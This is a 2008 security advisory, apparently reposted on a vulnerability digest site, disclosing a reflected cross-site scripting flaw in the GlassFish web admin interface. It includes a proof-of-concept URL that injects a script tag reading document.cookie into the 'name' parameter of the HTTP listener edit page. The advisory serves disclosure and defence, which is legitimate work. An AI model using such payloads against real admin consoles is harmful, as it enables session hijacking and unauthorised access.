Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[web-app] DCFM Blog 0.9.4 (comments) Remote SQL Injection Vulnerability

[web-app] Insanely Simple Blog 0.5 (index) Remote SQL Injection Vulnerabilities

[web-app] yBlog 0.2.2.2 Multiple Remote Vulnerabilities

[web-app] DCFM Blog 0.9.4 (comments) Remote SQL Injection Vulnerability

From:	Eduardo Jorge <serrano.neves_(at)_gmail.com>
Date:	10.06.2008
Subject:	XSS - Glassfish Web Admin Interface (Sun Java System Application Server 9.1_01 (build b09d-fcs) )

==============================

XSS - Glassfish Web Admin Interface (Sun Java System Application
Server 9.1_01 (build b09d-fcs) )

==============================

Author: Eduardo Neves a.k.a _eth0_
Date: 10 june 2008
Site: http://webappsecurity.wordpress.com

==============================

APPLICATION : Glassfish webadmin interface
VERSION : Sun Java System Application Server 9.1_01 (build b09d-fcs)
VENDOR : http://www.sun.com
DOWNLOAD : https://glassfish.dev.java.net/

==============================

IMPACT: XSS, XSRF, etc.

Severity: Low (or not?)

==============================

Descrition:

This vulnerability was found in Edit HTTP Listener section in
Glassfish web admin interface.

This is a vulnerable URL:

http://[HOSTNAME]:4848/configuration/httpListenerEdit.
jsf?name=<script>alert(document.
cookie);</script>&configName=server-config

--
|_|0|_| Serrano Neves - a.k.a eth0
|_|_|0| http://webappsecurity.wordpress.com
|0|0|0| "Talk is cheap. Show me the code." - Linus Torvalds